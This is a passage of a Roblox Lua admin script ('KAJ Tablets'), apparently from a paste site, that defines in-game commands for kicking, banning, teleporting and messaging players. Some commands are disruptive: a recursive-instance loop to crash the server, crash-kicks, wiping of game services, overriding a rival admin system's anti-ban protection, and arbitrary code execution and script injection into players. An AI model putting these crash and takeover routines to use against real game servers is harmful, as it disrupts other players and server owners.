- for _,v in pairs(LocalScripts) do
- Ping(v, Speaker)
- end
- else
- Ping("No Local Scripts Found", Speaker, 5)
- end
- end)
- Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local ScriptName = Msg:sub(Split + 1)
- local FoundLocal = false
- for _,name in pairs(PlrTab) do
- ypcall(function()
- for _,v in pairs(name.Character:GetChildren()) do
- if string.find(v.Name:lower(), ScriptName) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- FoundLocal = true
- Ping("Disabled Local Script: "..v.Name, Speaker, 5)
- end
- end
- end
- end)
- ypcall(function()
- for _,v in pairs(name.Backpack:GetChildren()) do
- if string.find(v.Name:lower(), ScriptName) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- FoundLocal = true
- Ping("Disabled Local Script: "..v.Name, Speaker, 5)
- end
- end
- end
- end)
- ypcall(function()
- for _,v in pairs(name.PlayerGui:GetChildren()) do
- if string.find(v.Name:lower(), ScriptName) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- FoundLocal = true
- Ping("Disabled Local Script: "..v.Name, Speaker, 5)
- end
- end
- end
- end)
- if FoundLocal == false then
- Ping("Local Script Not Found", Speaker, 5)
- end
- end
- end)
- Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
- for _,v in pairs(game:GetChildren()) do
- ypcall(function()
- if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
- for _,a in pairs(v:GetChildren()) do
- ypcall(function()
- a:Destroy()
- end)
- end
- elseif v.Name == "Players" then
- for _,plr in pairs(v:GetPlayers()) do
- Clear(plr)
- end
- end
- end)
- end
- Clean()
- Fixl()
- Ping("Fully Cleaned", Speaker, 5)
- end)
- Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
- LClean()
- Fixl()
- Ping("Lightly Cleaned", Speaker, 5)
- end)
- Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v:LoadCharacter()
- Ping("Reset "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
- repeat wait() until Speaker.Character:findFirstChild("Torso")
- if Work:findFirstChild("Base") then
- Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
- else
- Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
- end
- Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
- end)
- Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Torso.Anchored = true
- Ping("Froze "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
- wait(3)
- Ping("Something went wrong",Speaker,5)
- end)
- Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Instance.new("ForceField", v.Character)
- end)
- end
- end
- end)
- Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- RemObj(v.Character, "ForceField")
- end)
- end
- end
- end)
- Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
- if #PlrTab > 0 and #PlrTab2 > 0 then
- for i,v in pairs(PlrTab) do
- ypcall(function()
- for _,v2 in pairs(PlrTab2) do
- ypcall(function()
- v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
- Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
- end)
- end
- end)
- end
- end
- end)
- Command("Msg",2, "Creates a Message",
- function(Msg,Speaker)
- Message(Msg)
- end)
- Command("H",2, "Creates a Hint",
- function(Msg,Speaker)
- Hint(Msg)
- end)
- Command("Sm",2, "Creates a System message",
- function(Msg,Speaker)
- SystemMsg(Msg)
- end)
- function Message(str,p)
- if p==nil then
- for _,Player in pairs(game.Players:GetPlayers()) do
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0.7, 0)
- Text.Font=2
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
- Text.BackgroundTransparency = 0.4
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.Text = tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- else
- Player=p;
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0.7, 0)
- Text.Font=2
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
- Text.BackgroundTransparency = 0.1
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.Text = tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- end
- function SystemMsg(str)
- for _,Player in pairs(game.Players:GetPlayers()) do
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0, 0)
- Text.Font='Legacy'
- Text.FontSize = "Size48"
- Text.BackgroundColor3 = Color3.new(-1,-1,-1)
- Text.BackgroundTransparency = 0.4
- Text.TextColor3 = Color3.new(1,1,1)
- Text.TextTransparency = 0
- Text.TextWrap = true
- Text.Text = ' [ System ] \n ' .. tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
- Text.TextTransparency = 0.1
- Num = #str * 0.06
- wait(6)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- end
- function Hint(str,p)
- if p == nil then
- for _,Player in pairs(game.Players:GetPlayers()) do
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0, 0)
- Text.Font=2
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
- Text.BackgroundTransparency = 0.4
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.Text = tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- else
- Player=p
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0, 0)
- Text.Font=2
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
- Text.BackgroundTransparency = 0.1
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.Text = tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- end
- Command("Explore", 3, "Opens An Object Explorer", function(Msg, Speaker)
- MakeExplorer(Speaker)
- end)
- Command("Sinfo", 0, "Show the Script info", function(Msg, Speaker)
- wait()
- Dismiss(Speaker)
- NumBanned = 0
- NumCmds = 0
- for i = 1, #Rankings do
- if Rankings[i].Rank < 0 then
- NumBanned = NumBanned + 1
- end
- end
- for i,v in pairs(Commands) do
- NumCmds = NumCmds + 1
- end
- Ping("KAJ Tablets!", Speaker)
- Ping("Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
- Ping("Second Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("21wopih"))
- Ping("I started this on 6/9/2014", Speaker)
- Ping(#All2.." players online in the server",Speaker)
- Ping(NumCmds.." Commands",Speaker)
- Ping(NumBanned.." players banned", Speaker,5)
- end)
- Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
- Dismiss(Speaker)
- for i,v in pairs(All()) do
- Ping(v.Name.."'s Rank: "..FindRank(v))
- end
- end)
- Command("Speed", 2, "Change speed of a player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Speed = tonumber(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Humanoid.WalkSpeed = Speed
- Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
- end)
- end
- end)
- Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
- local RemoveAB = Instance.new("StringValue")
- RemoveAB.Name = "CBA Attachment"
- RemoveAB.Value = [[CBA.override=true;]]
- RemoveAB.Parent = Work
- Ping("Removed All CBA Anti-Bans", Speaker, 5)
- end)
- Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
- Dismiss(Speaker)
- for i,v in pairs(Injected) do
- Ping(i, Speaker)
- end
- end)
- Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
- local RemoveCBA = Instance.new("StringValue")
- RemoveCBA.Name = "CBA Attachment"
- RemoveCBA.Value = [[CBA.remove = false]]
- RemoveCBA.Parent = Work
- Ping("Removed All CBA Admins", Speaker, 5)
- end)
- Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
- local function BufferOverflow(object)
- object.DescendantAdded:connect(BufferOverflow)
- Instance.new("IntValue", object)
- end
- BufferOverflow(Game)
- end)
- Command("Kk", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Crash1(v)
- end)
- end
- end
- end)
- Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- ChangeRank(v, -1)
- end)
- end
- end
- end)
- Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- ChangeRank(v, -2)
- end)
- end
- end
- end)
- Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- ChangeRank(v, -3)
- end)
- end
- end
- end)
- Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
- ypcall(function()
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
- end)
- end
- end
- local PlrName = ChangeRank(Msg, 0)
- Ping("Un-Banned "..PlrName, Speaker, 5)
- end)
- end)
- Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
- Dismiss(Speaker)
- Ping("Commands", Speaker, nil, function()
- Dismiss(Speaker.Name)
- Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
- Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
- Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
- Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
- Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
- Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
- Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
- Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
- end)
- Ping("Players", Speaker, nil, function()
- ListPlayers(Speaker)
- end)
- end)
- Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
- ListPlayers(Speaker)
- end)
- Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
- local Func,Error = loadstring(Msg)
- getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
- getfenv(Func).Speaker = Speaker
- if Error == nil then
- coroutine.wrap(function()
- Func()
- end)()
- Ping("Executed Script!", Speaker, 5)
- else
- Ping(Error, Speaker, 10)
- end
- end)
- Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
- if LS ~= nil then
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local LocalSource = Msg:sub(Split + 1)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- local Inserted = LS:Clone()
- Inserted.Disabled = true
- Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
- if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
- Inserted:findFirstChild(OwnSource).Value = v.Name
- end
- Inserted[LSSource].Value = LocalSource
- Inserted.Disabled = false
- end
- end
- else
- Ping("ERROR: Local Script Not Found", Speaker, 5)
- end
- end)
- Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
- Msg = tostring(Msg)
- Ping(Msg, Speaker)
- end)
- Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
- Dismiss(Speaker)
- for i,v in pairs(getfenv(1)) do
- ypcall(function()
- Ping(tostring(i)..": "..tostring(v), Speaker)
- end)
- end
- end)
- Command('Ranks', 0, 'Shows all players in ranking table',
- function(Msg,Speaker)
- for _,v in pairs(Rankings) do
- Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- end
- end)
- Command("Setr", 6, "Ranks A Player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Rank = tonumber(Msg:sub(Split + 1))
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- if v.Name ~= Owner then
- ChangeRank(v, Rank)
- Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
- end
- end
- end
- end)
- Command("Kajr", 5, "Remove the tablets", function(Msg, Speaker)
- Dismiss()
- Ping('Remove KAJ Tablets? <LolClickMe>',Speaker,5,function()
- Dismiss()
- Removed = true
- for i,v in pairs(getfenv(1)) do
- getfenv(1)[i] = nil
- end
- script.Disabled = false
- end)
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement